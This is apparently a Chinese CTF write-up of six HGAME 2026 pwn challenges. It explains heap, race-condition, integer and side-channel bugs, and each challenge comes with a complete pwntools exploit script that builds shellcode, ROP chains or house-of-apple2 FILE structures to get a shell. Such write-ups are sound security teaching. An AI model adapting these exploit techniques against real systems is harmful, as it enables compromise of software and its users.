2026 HGAME PWN writeup

第一周

Heap1sEz

这道题目的malloc和free是自己实现的，并且给了main.c和malloc.c的源码，通过源码我们可以看到存在UAF漏洞

同时我们看malloc函数

1
void *malloc (size_t bytes){
2
  INTERNAL_SIZE_T nb;
3
  INTERNAL_SIZE_T size;
4
  INTERNAL_SIZE_T remainder_size;
5

6
  mchunkptr       victim;
7
  mchunkptr       remainder;
8

9
  void *p;
10

11
  nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);
12

13
  //first request
14
  if(main_arena.top == NULL){
15
    malloc_init_state(&main_arena);
44 collapsed lines
16
    p = sysmalloc(nb, &main_arena);
17
    return p;
18
  }
19

20
  //unsorted bin
21
  while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
22
    size = chunksize(victim);
23
    /* split */
24
    if(size >= nb){
25
      if(size - nb >= MINSIZE){
26
        remainder_size = size - nb;
27
        remainder = victim;
28
        victim = chunk_at_offset(remainder, remainder_size);
29
        set_head(victim, nb);
30
        set_inuse(victim);
31
        set_head_size(remainder, remainder_size);
32
        set_foot(remainder, remainder_size);
33
        p = chunk2mem(victim);
34
        return p;
35
      }
36
      else{
37
        unlink_chunk(victim);
38
        set_inuse(victim);
39
        return chunk2mem(victim);
40
      }
41
    }
42
  }
43
  if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
44
  /* split */
45
  else{
46
    victim = main_arena.top;
47
    size = chunksize(victim);
48
    remainder_size = size - nb;
49
    remainder = chunk_at_offset (victim, nb);
50
    main_arena.top = remainder;
51
    set_head (victim, nb | PREV_INUSE);
52
    set_head (remainder, remainder_size | PREV_INUSE);
53
    void *p = chunk2mem (victim);
54
    return p;
55
  }
56
  //can't reach here
57
  assert(0);
58
  return NULL;
59
}

在自己实现的堆管理器中简化掉了tcache和fastbin，仅留下了unsorted bin，因此后续的攻击要关注unsorted bin

1
void free(void *mem)
2
{
3
  mchunkptr p;                 /* chunk corresponding to mem */
4
  INTERNAL_SIZE_T size;        /* its size */
5
  mchunkptr nextchunk;         /* next contiguous chunk */
6
  INTERNAL_SIZE_T nextsize;    /* its size */
7
  int nextinuse;               /* true if nextchunk is used */
8
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
9
  mchunkptr bck;               /* misc temp for linking */
10
  mchunkptr fwd;               /* misc temp for linking */
11
  if (__builtin_expect (hook != NULL, 0))
12
  {
13
    (*hook)(mem);
14
    return;
15
  }
50 collapsed lines
16
  if(mem == NULL){
17
    return;
18
  }
19
  p = mem2chunk (mem);
20
  size = chunksize(p);
21
  nextchunk = chunk_at_offset(p, size);
22
  nextsize = chunksize(nextchunk);
23
  /* consolidate backward */
24
  if (!prev_inuse(p)) {
25
    prevsize = prev_size (p);
26
    size += prevsize;
27
    p = chunk_at_offset(p, -((long) prevsize));
28
    if (__glibc_unlikely (chunksize(p) != prevsize))
29
      malloc_printerr ("corrupted size vs. prev_size while consolidating");
30
    unlink_chunk (p);
31
  }
32
  if (nextchunk != main_arena.top) {
33
    /* get and clear inuse bit */
34
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
35

36
      /* consolidate forward */
37
      if (!nextinuse) {
38
        unlink_chunk (nextchunk);
39
        size += nextsize;
40
      } else
41
        clear_inuse_bit_at_offset(nextchunk, 0);
42
      bck = bin_at(&main_arena, 1);
43
      fwd = bck->fd;
44
      //if (__glibc_unlikely (fwd->bk != bck))
45
  //malloc_printerr ("free(): corrupted unsorted chunks");
46
      p->fd = fwd;
47
      p->bk = bck;
48
      bck->fd = p;
49
      fwd->bk = p;
50

51
      set_head(p, size | PREV_INUSE);
52
      set_foot(p, size);
53
      //check_free_chunk(av, p);
54
    }
55
    /*
56
      If the chunk borders the current high end of memory,
57
      consolidate into top
58
    */
59
    else {
60
      size += nextsize;
61
      set_head(p, size | PREV_INUSE);
62
      main_arena.top = p;
63
      //check_chunk(av, p);
64
    }
65
}

很明显看到这里给了个hook，只要控制hook的内容就能挟持执行流，同时unlink的check被注释掉了，因此最原始的unlink也能执行

到这里其实攻击思路已经很明确了:

通过unlink去打notes这个堆块管理地址，构造一个*p = p-0x18的结构，进而控制notes中存储的内存地址
通过notes去修改hook为puts泄露libc
通过notes去修改hook为system获取shell

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3

4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7

8
# use script mode
9
cli_script()
10

11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15

77 collapsed lines
16
def cmd(i, prompt=b">"):
17
    sla(prompt, i)
18
def add(idx, size):
19
    cmd(b"1")
20
    ru(b"Index")
21
    sl(str(idx).encode())
22
    ru(b"Size")
23
    sl(str(size).encode())
24
    # ......
25
def edit(idx, co):
26
    cmd(b"3")
27
    ru(b"Index")
28
    sl(str(idx).encode())
29
    ru(b"Content")
30
    s(co)
31
    # ......
32
def show(idx):
33
    cmd(b"4")
34
    ru(b"Index")
35
    sl(str(idx).encode())
36
    # ......
37
def dele(idx):
38
    cmd(b"2")
39
    ru(b"Index")
40
    sl(str(idx).encode())
41
    # ......
42

43
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
44
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
45

46
add(0, 0x100)
47
edit(0, b"AAAA")
48
add(1, 0x100)
49
edit(1, b"BBBB")
50
add(2, 0x100)
51
edit(2, b"CCCC")
52
add(3, 0x100)
53
edit(3, b"DDDD")
54
add(4, 0x100)
55
edit(4, b"DDDD")
56
dele(2)
57
show(2)
58
temp = b""
59
while True:
60
    t = r(1)
61
    temp += t
62
    if t in [b"\x55", b"\x56"]:
63
        break
64
elf_base = u64(temp[-6:].ljust(8, b"\x00")) - 0x3808
65
leak("elf_base", elf_base)
66
hook = elf_base + 0x3828
67
main_arena = hook-0x18
68
note = elf_base + 0x3880
69
leak("hook", hook)
70
leak("main_arena", main_arena)
71

72
edit(2, p64(note+0x10-0x18)+p64(note+0x10-0x10))
73
# unlink
74
# pause()
75
dele(1)
76

77
edit(2, b"EEEEEEEE" + p64(hook) + p64(elf_base+elf.got["puts"]))
78
edit(0, p64(elf_base + elf.plt["puts"]))
79
dele(1)
80
puts_addr = x64()
81
leak("puts_addr", puts_addr)
82
obj = LibcSearcher("puts", puts_addr)
83
base = puts_addr-obj.dump("puts")
84
system = base+obj.dump("system")
85
bin_sh = base+obj.dump("str_bin_sh")
86

87
edit(2, b"EEEEEEEE" + p64(hook) + p64(bin_sh))
88
edit(0, p64(system))
89
pause()
90
dele(1)
91

92
ia()

steins;gate

IDA打开发现是rust写的，反编译比较复杂因此AI辅助逆向了一下，主要逻辑是：如果没有./flag_hash这个文件，就读取/flag并生成其哈希，将其哈希写入./flag_hash中

如果已经有./flag_hash这个文件的话，就将文件中的内容直接读取进缓冲区中

接下来是主循环，获取了用户的一行输入，将这个输入进行处理之后与刚刚的哈希值传入guess::verify进行字符对比，如果对比结果相同则直接拿到shell

将用户的输入进行处理的过程我们可以通过测试得到，断点下在guess::verify(src, &v42)这一行，运行之后在命令行中输入ABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB

双击src就可以看到处理之后的数据

所以数据处理就是将两个字节合并成一个字节而已，将其合并后的结果与flag的哈希值对比，如果flag的哈希值是0xA2 0xBC那我们就要输入A2BC

哈希值在本地的python中可以通过如下程序进行计算

1
import hashlib
2
with open('/flag', 'rb') as f:
3
    data = f.read()
4
print(hashlib.sha512(data).hexdigest())

可以看到上述python程序生成的哈希和rust程序生成的哈希是一样的（其实这个结论在这道题没有用）

我们整理一下思路：要获取flag就要拿到shell，要拿到shell就要获取flag的哈希，要获取flag的哈希就要知道flag……没招，闭环了( •́ .̫ •̀ )

毕竟爆破哈希在有限的时间内是不可能的，因此这个思路是行不通的，肯定哪里有疏漏

在哈希对比失败后，程序会输出一段调试信息

我们进行环境变量的配置之后，可以输出完整的调试信息

我们回头看看verify函数的流程图，发现这个函数及其抽象

其实就是每一行异常的处理程序地址是不同的

比如第一个字符错误由0x18491-0x184B7代码处理，第二个字符错误由0x184B7-0x184DD代码处理

这样配合调试信息中的这一行，就可以通过侧信道的方式爆破哈希的每一位，从而得到完整的哈希

1
  11:     0x5615a05394b7 - guess::verify::h4e5e60253993031b

所以正确的思路是通过侧信道爆破哈希，随后获取shell

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4

5
context(os="linux",arch="amd64",log_level="debug")
6

7
io = process("./pwn")
8
# io = remote("cloud-middle.hgame.vidar.club",30148)
9
# io = gdb.debug("./pwn")
10

11
# elf = ELF("./pwn")
12
# libc = ELF("./libc-2.31.so")
13

14
stop = pause
15
S = pause
54 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36

37
hex_chars = [chr(i) for i in range(ord('0'), ord('9')+1)] + [chr(i) for i in range(ord('a'), ord('f')+1)]
38
flag_hash = b""
39
for i in range(len(flag_hash)//2, 63):
40
    for j in hex_chars:
41
        flag = False
42
        for k in hex_chars:
43
            ch = (j+k).encode()
44
            ru(b":")
45
            sl((flag_hash+ch).ljust(128, b"A"))
46
            ru(b"11:")
47
            ru(b"0x")
48
            r(9)
49
            addr = int(r(3), 16)
50
            leak("addr", addr)
51
            idx = (addr-0x4B7)//(0x4DD-0x4B7)
52
            leak("idx", idx)
53
            if idx != i:
54
                flag_hash += ch
55
                flag = True
56
                print("flag_hash --> ", flag_hash)
57
                break
58
        if flag:
59
            break
60
pause()
61
for j in hex_chars:
62
    flag = False
63
    for k in hex_chars:
64
        ch = (j+k).encode()
65
        ru(b":")
66
        sl((flag_hash+ch).ljust(128, b"A"))
67
        sl("cat /flag")
68

69
ia()

adrift

栈上有可执行权限，因此可以考虑在栈上注入shellcode

IDA打开分析一下程序的功能

可以看到这道题目的canary是个全局变量，其中的内容是个栈地址

退出main函数的时候会对canary进行校验，如果canary被修改则执行exit(0)

当输入0时为add功能，此时会让我们输入way和distance，输入way的时候很明显存在一个栈溢出，但是由于canary的限制无法直接修改，要先想办法泄露一个栈地址，qmemcpy这一串就是将我输入的way复制到可写地址中，可以忽略；完成qmemcpy后会将buf内容置零随后让我们输入distance存入dis[i]中

delete功能就是将指定位置i的dis[i % 201]清空

show功能就是将v2取绝对值，随后输出dis[v2]

edit功能是对v6取绝对值，随后修改dis[v6]

这道题的漏洞点在于，show和edit中我们的输入都是short 整型，其最小值为-32768

因为-32768的二进制表示是 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0，对于一个负数取反就要按位取反，再加1

按位取反之后为 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1，将结果加一为 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0，可以看到与原先的-32768表示一样

因此当我们在show功能输入-32768时，取反后仍为-32768，其小于199，因此可以成功泄露dis[-32768]的数据，我们从gdb的角度看一下这个地址存储着什么

可以看到这里存储的就是canary的值——栈地址，通过这种方式我们就可以泄露出canary

这样我们就可以通过栈溢出挟持返回地址了，由于存在memset因此我们要将shellcode写在没有被初始化的空间中

1
s(b"A"*0x3ea + p64(canary) + b"A"*0x10 + b"B"*0x8)

这样构造payload我们一方面测试返回地址有无被覆盖，一方面看那一段payload没有被清空

因此要在字符A的地方写入shellcode，将字符B的地方写上字符A的地址，就可以成功执行到shellcode，但是由于shellcode只有0x10字节，因此可以先构造一个read再输入一段shellcode，在第二段shellcode中执行execve("/bin/sh", 0, 0)

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3

4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7

8
# use script mode
9
cli_script()
10

11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15

68 collapsed lines
16
def cmd(i, prompt=b"choose> "):
17
    sla(prompt, i)
18
def add(co, dis):
19
    cmd(b"0")
20
    ru(b"way>")
21
    s(co)
22
    ru(b"distance>")
23
    sl(str(dis).encode())
24
    # ......
25
def edit(idx, dis):
26
    cmd(b"3")
27
    ru(b"index>")
28
    sl(str(idx).encode())
29
    ru(b"a new distance>")
30
    sl(str(dis).encode())
31
    # ......
32
def show(idx):
33
    cmd(b"2")
34
    ru(b"index>")
35
    sl(str(idx).encode())
36
    # ......
37
def dele(idx):
38
    cmd(b"1")
39
    ru(b"index>")
40
    sl(str(idx).encode())
41
    # ......
42

43
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
44
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
45

46
show(-32768)
47
ru(b": ")
48
canary = int(r(15))
49
leak("canary", canary)
50

51
shell1 = """
52
pop rdi
53
pop rdx
54
pop rdx
55
pop rsi
56
sub rsi, 0x113
57
syscall
58
"""
59
shell1 = asm(shell1)
60

61
cmd(b"0")
62
ru(b"way>")
63
s((b"AA").ljust(0x3ea, b"A") + p64(canary) + (shell1).ljust(0x10, b"A") + p64(canary+0x410))
64
ru(b"distance>")
65
sl(str(1).encode())
66

67
# pause()
68
cmd(b"4")
69

70
shell2 = """
71
mov rax, 59
72
xor rsi, rsi
73
xor rdx, rdx
74
mov rdi, 0x68732f6e69622f
75
push rdi
76
mov rdi, rsp
77
syscall
78
"""
79
shell2 = asm(shell2)
80
pause()
81
sl(shell2)
82

83
ia()

Producer and Consumer

很明显是个多线程题，将sem初始化为8，随后每调用一次sem_wait(&sem)都会将其值减一，每调用一次sem_post(&sem)都会将其值加一，退出work函数之后将其结果复制到dest中，复制字节数是8 * num

这是work函数的内容，可以看到它通过我们的输入启动produce线程和consume线程

这是consume的主要功能，其实有用的就只有sem_post(&sem)一行

这是produce函数的内容，可以看到程序先抢锁，抢到锁之后如果num小于等于7则直接释放锁。在锁mutex释放时线程会sleep一段时间，在这里就存在线程竞争的问题了。比如现在num是7，有两个线程来抢锁，一个线程是A一个线程是B，A比B快0.1s，这样A先抢到锁，随后释放后执行sleep(1)，在sleep过程中B也抢到锁了，此时由于A线程还未执行到num = (num + 1) % 11，因此线程B在判断num小于等于7时，num还是7通过了判断，这样的结果就是num最终会被加两次，num的最终值是9，进而引发main函数中的memcpy(dest, src, 8 * num)造成栈溢出

在这道题目中，根据线程当前的num不同会像堆上的相邻地址写入不同的值，最后通过memcpy函数复制到栈上。为了造成栈溢出，同时覆盖返回地址，要求num最终的结果是10，同时需要严格控制好每个线程，使其写入的数据不冲突，不混乱

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4

5
context(os="linux",arch="amd64",log_level="debug")
6

7
io = process("./pwn")
8
# io = remote('cloud-middle.hgame.vidar.club', 32236)
9
# io = gdb.debug("./pwn")
10

11
elf = ELF("./pwn")
12
libc = ELF("./libc-2.31.so")
13

14
stop = pause
15
S = pause
59 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36

37
def cmd(i, prompt=b"input your choice>>"):
38
    sla(prompt, i)
39
def produce(co):
40
    cmd(b"1")
41
    s(co)
42
    # ......
43
def consume():
44
    cmd(b"2")
45

46
consume()
47
consume()
48
consume()
49
produce(b"11111111")
50
sleep(6)
51
produce(b"22222222")
52
sleep(6)
53
produce(b"33333333")
54
sleep(6)
55
produce(b"44444444")
56
sleep(6)
57
produce(b"55555555")
58
sleep(6)
59
produce(b"66666666")
60
sleep(6)
61
produce(b"77777777")
62
sleep(0.15)
63
produce(b"88888888")
64
sleep(0.15)
65
produce(b"99999999")
66
sleep(0.15)
67
produce(b"00000000")
68
sleep(10)
69

70
gdb.attach(io)
71
pause()
72
cmd(b"3")
73

74
ia()

经过多轮测试，按照上述脚本的流程执行时，各个线程写入数据不会发生冲突，先不冲突地创建6个线程分别写入数据并将num加到6，随后开始竞争，快速创建4个进程写入数据，最终的效果就是num加到10，同时堆上与栈上数据有序

需要注意的是，要提前执行三次consume功能以提高sem变量的值，要不然后面创建用来竞争的几个线程会陷入阻塞状态

可以看到，程序提供了个堆地址，通过这个堆地址我们可以找到线程原始写入的数据

由于只能够覆盖到返回地址，因此只能进行栈迁移

我们可以将返回地址覆盖为leave ; ret，将rbp覆盖为堆地址，然后通过栈迁移迁移到上述堆区域，这样就可以在这里布置ROP链

在造链子的时候发现新的问题，没有设置rdx的gadget，查看函数可以发现，这一段代码可以当作模板来实现ret2csu的效果

因此，通过栈迁移+ROP配合上面的代码先执行一个read读入新的ROP链，在新的ROP链中先泄露libc，随后再次读入新的ROP链，在最后的ROP链中执行system拿到shell

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4

5
context(os="linux",arch="amd64",log_level="debug")
6

7
io = process("./pwn")
8
# io = remote('cloud-middle.hgame.vidar.club', 30698)
9
# io = gdb.debug("./pwn")
10

11
elf = ELF("./pwn")
12
libc = ELF("./libc-2.31.so")
13

14
stop = pause
15
S = pause
84 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36

37
def cmd(i, prompt=b"input your choice>>"):
38
    sla(prompt, i)
39
def produce(co):
40
    cmd(b"1")
41
    s(co)
42
    # ......
43
def consume():
44
    cmd(b"2")
45

46
ru(b"a gift for you:0x")
47
heap = int(r(8), 16) + 0x1800
48
leak("heap", heap)
49
leave_ret = 0x4015A1
50
ret = 0x40101a
51
rdi = 0x401963
52
rsi_r15 = 0x401961
53
rdx = 0x401401
54
gad1 = 0x40195A
55
gad2 = 0x401940
56

57
consume()
58
consume()
59
consume()
60
produce(p64(gad1))
61
sleep(6)
62
produce(p64(0))                  # rbx
63
sleep(6)
64
produce(p64(1))                  # rbp
65
sleep(6)
66
produce(p64(0))                  # r12 rdi
67
sleep(6)
68
produce(p64(heap+0x78))          # r13 rsi
69
sleep(6)
70
produce(p64(0x250))              # r14 rdx
71
sleep(6)
72
produce(p64(elf.got["read"]))    # r15 func
73
sleep(0.15)
74
produce(p64(gad2))
75
sleep(0.15)
76
produce(p64(heap-8))
77
sleep(0.15)
78
produce(p64(leave_ret))
79
sleep(10)
80

81
cmd(b"3")
82
ru(b"buffer data:")
83

84
# gdb.attach(io)
85
pause()
86
s(flat([gad1, 0, 1, 1, elf.got["puts"], 0x10, elf.got["write"], gad2]) +
87
  b"A"*0x38 +
88
  flat([gad1, 0, 1, 0, heap+0x168, 0x200, elf.got["read"], gad2]))
89

90
libc_base = x64() - libc.sym["puts"]
91
system = libc_base + libc.sym["system"]
92
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
93
leak("system", system)
94
leak("libc_base", libc_base)
95

96
pause()
97
s(flat([ret, gad1, 0, 1, heap+0x1B8, 0, 0, heap+0x1B0, gad2, system, b"/bin/sh"]))
98

99
ia()

第二周

Diary keeper

很明显是一道堆题

add函数红框处指令会导致一个off by null，可以用于覆盖后一个堆块的PREV_INUSE标志位，从而触发unlink、house of einherjar等

delete函数中没有UAF，因此无法直接挟持fd

这是show函数，可以利用这个函数来泄露未覆盖区域

题目的代码量不大，漏洞点仅为off by null，由于堆溢出过小，因此无法打unlink，选择打house of einherjar，但是题目给出的libc版本为2.35-0ubuntu3.13，这个版本中存在如下check

1
static void
2
unlink_chunk (mstate av, mchunkptr p)
3
{
4
  if (chunksize (p) != prev_size (next_chunk (p)))
5
    malloc_printerr ("corrupted size vs. prev_size");
6

7
  mchunkptr fd = p->fd;
8
  mchunkptr bk = p->bk;
9
......

我们去how2heap看一下glibc 2.35如何绕过这个check

https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c

我们将这个程序编译后调试可以发现如下堆块

我们将红框处堆块命名为chunk A，将下面的两个堆块命名为chunk B、chunk C。可以看到在chunk A中伪造了一个fake chunk，fake chunk的fd和bk为其自身的堆地址，随后通过chunk B的溢出覆盖chunk C的prev_size和prev_inuse，随后释放chunk C，就可以将chunk A的后半部分与chunk B和chunk C合并成一个unsorted bin堆块，随后就可以构造堆重叠

因此我们只需要将这个过程在该题中复现即可，我们可以利用show打印出堆块中未被二次覆盖的残留数据，从而泄露libc和堆地址

1
add(0, 0x500, b"AAAA", b"BBBB", b"CCCC")
2
add(1, 0x20, b"AAAA", b"BBBB", b"CCCC")
3
add(2, 0x20, b"AAAA", b"BBBB", b"CCCC")
4
dele(0)
5
add(0, 0x20, b"A", b"B", b"C")
6
show(0)

经过这样的操作之后，0号堆块数据如下，由于地址末尾三位恒定，因此libc地址就泄露出来了，堆地址同理

在成功构造堆重叠后，就可以通过挟持fd控制_IO_list_all打house of apple2

house of apple触发流程:

将_IO_list_all指向堆块A (让A链入_IO_FILE链表中)
_flags 设置为~(2 | 0x8 | 0x800) ，如果是需要获取 shell 的话，那么可以将参数写为 sh; 这样 _flags 既能绕过检查，又能被 system 函数当做参数成功执行。需要注意的是 sh; 前面是有两个空格的（这个值是 0x3b68732020 ）
用堆块A伪造_IO_FILE_plus

A->_IO_write_base = 0 A->_IO_write_ptr = 1 A->_lock = 可写地址 A->_wide_data = 堆块B A->_mode = 0 A->vtable = _IO_wfile_jumps
堆块B伪造_IO_wide_data

B->_IO_write_base = 0 B->_IO_buf_base = 0 B->_wide_vtable = backdoor-0x68
触发exit等函数

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3

4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7

8
# use script mode
9
cli_script()
10

11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15

93 collapsed lines
16
def cmd(i, prompt=b"input your choice:"):
17
    sla(prompt, i)
18
def add(idx, size, date, weather, co):
19
    cmd(b"1")
20
    sla(b"input index:", str(idx).encode())
21
    sla(b"size:", str(size).encode())
22
    sa(b"date:", date)
23
    sa(b"weather:", weather)
24
    sa(b"content:", co)
25
    # ......
26
def show(idx):
27
    cmd(b"3")
28
    sla(b"input index:", str(idx).encode())
29
    # ......
30
def dele(idx):
31
    cmd(b"2")
32
    sla(b"input index:", str(idx).encode())
33
    # ......
34

35
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
36
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
37

38
add(0, 0x500, b"AAAA", b"BBBB", b"CCCC")
39
add(1, 0x20, b"AAAA", b"BBBB", b"CCCC")
40
add(2, 0x20, b"AAAA", b"BBBB", b"CCCC")
41
dele(0)
42
add(0, 0x20, b"A", b"B", b"C")
43
show(0)
44
libc_base = x64()-0x21b141
45
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
46
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
47
system = libc_base + libc.sym["system"]
48

49
dele(0)
50
dele(1)
51
# pause()
52
add(1, 0x20, b"A", b"B", b"C")
53
add(0, 0x20, b"A", b"B", b"C")
54
show(0)
55
addr1 = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))
56
show(1)
57
temp = b""
58
while True:
59
    t = r(1)
60
    temp += t
61
    if t in [b"\x55", b"\x56"]:
62
        break
63
addr2 = u64(temp[-6:].ljust(8, b"\x00"))
64
key = (addr1 ^ addr2) >> 12
65
heap_base = key << 12
66
add(3, 0x4c0, b"AAAA", b"BBBB", b"CCCC")
67

68
add(4, 0x30, b"AAAA", b"BBBB", p64(0)+p64(0x91)+p64(heap_base+0x850)+p64(heap_base+0x850))
69
add(5, 0x48, b"AAAA", b"BBBB", b"CCCC")
70
for i in range(8):
71
    add(6+i, 0xe8, b"AAAA", b"BBBB", b"CCCC")
72
dele(5)
73
add(5, 0x48, b"AAAA", b"BBBB", b"C"*0x40+p64(0x90))
74
add(14, 0x48, b"AAAA", b"BBBB", b"CCCC")
75
IO_FILE_plus_struct
76
add(15, 0x200, b"AAAA", b"BBBB", flat({0x0:0x3b68732020,                  # _flags
77
                                       0x20:0,                            # _IO_write_base
78
                                       0x28:1,                            # _IO_write_ptr
79
                                       0x88:heap_base,                    # _lock
80
                                       0xa0:heap_base+0x1380,             # _wide_data
81
                                       0xc0:0,                            # _mode
82
                                       0xd8:_IO_wfile_jumps               # vtable
83
                                       }, filler = b"\x00"))
84
add(16, 0x200, p64(system), b"BBBB", flat({0x18:0,
85
                                       0x30:0,
86
                                       0xe0:heap_base+0x1370-0x68         # backdoor
87
                                       }, filler = b"\x00"))
88

89
for i in range(7):
90
    dele(7+i)
91
dele(6)
92
# house of einherjar
93

94
dele(14)
95
dele(5)
96
add(17, 0x30, b"AAAA", b"BBBB", b"D"*0x10+p64(0)+p64(0x61)+p64(_IO_list_all ^ key))
97
add(18, 0x48, b"AAAA", b"BBBB", b"CCCC")
98
add(19, 0x48, p64(heap_base+0x1160), b"BBBB", b"CCCC")
99

100
cmd(b"4")
101

102

103
leak("libc_base", libc_base)
104
leak("addr1", addr1)
105
leak("addr2", addr2)
106
leak("key", key)
107

108
ia()

IONOSTREAM

还是一道堆题

可以看到只能申请0x58和0x48大小的堆块

存在UAF

只能edit一次，这个为最主要的限制

这道题目首先考虑通过UAF来泄露堆地址，随后通过fastbin double free来控制fd进而构造堆重叠，随后修改堆块的size为一个unsorted bin大小范围内，随后将其释放，从而拿到libc地址，最后通过UAF+edit去攻击_IO_list_all打house of apple2即可

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3

4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7

8
# use script mode
9
cli_script()
10

11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15

88 collapsed lines
16
def cmd(i, prompt=b">"):
17
    sla(prompt, i)
18
def add(idx, size, co):
19
    cmd(b"1")
20
    sla(b"index:", str(idx).encode())
21
    sla(b"size:", str(size).encode())
22
    sa(b"content", co)
23
    # ......
24
def edit(idx, co):
25
    cmd(b"4")
26
    sla(b"index:", str(idx).encode())
27
    sa(b"content", co)
28
    # ......
29
def show(idx):
30
    cmd(b"3")
31
    sla(b"index:", str(idx).encode())
32
    # ......
33
def dele(idx):
34
    cmd(b"2")
35
    sla(b"index:", str(idx).encode())
36
    # ......
37

38
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
39
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
40

41
for i in range(0x10):
42
    add(i, 0x58, b"AAAA")
43
for i in range(7):
44
    dele(i)
45
dele(7)
46
dele(8)
47
dele(7)
48

49
show(0)
50
key = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))
51
heap_base = key << 12
52

53
for i in range(7):
54
    add(i, 0x58, b"AAAA")
55
add(7, 0x58, p64((heap_base+0x2d0) ^ key))
56
add(8, 0x58, b"AAAAAAAA")
57
add(9, 0x58, b"AAAAAAAA")
58
add(10, 0x58, b"B"*0x20+p64(0)+p64(0x541))
59
dele(5)
60
show(5)
61
libc_base = x64()-0x210b20
62
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
63
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
64
system = libc_base + libc.sym["system"]
65

66
IO_FILE_plus_struct
67
add(0, 0x58, flat({0x0:0x3b68732020,               # flags
68
                   0x28:1,                         # _IO_write_ptr
69
                   0x20:0                          # _IO_write_base
70
                   }, filler = b"\x00"))
71
add(1, 0x58, flat({0x40:heap_base+0x410,           # _wide_data
72
                   0x28:heap_base                  # _lock
73
                   }, filler = b"\x00"))
74
add(2, 0x58, flat({0x0:0,                          # _mode
75
                   0x18:_IO_wfile_jumps            # vtable
76
                   }, filler = b"\x00"))
77

78

79
add(3, 0x58, flat({0x18:0,
80
                   0x30:0,
81
                   }, filler = b"\x00"))
82
add(4, 0x58, flat({0:0
83
                   }, filler = b"\x00"))
84
add(5, 0x58, flat({0x10:heap_base+0x540-0x68       # backdoor
85
                   }, filler = b"\x00"))
86

87
add(6, 0x58, p64(system))
88
for i in range(8):
89
    add(i, 0x58, b"AAAA")
90

91
dele(12)
92
dele(13)
93
edit(13, p64(_IO_list_all ^ key))
94
add(13, 0x58, b"AAAA")
95
add(14, 0x58, p64(heap_base+0x300))
96

97
cmd(b"5")
98

99
leak("key", key)
100
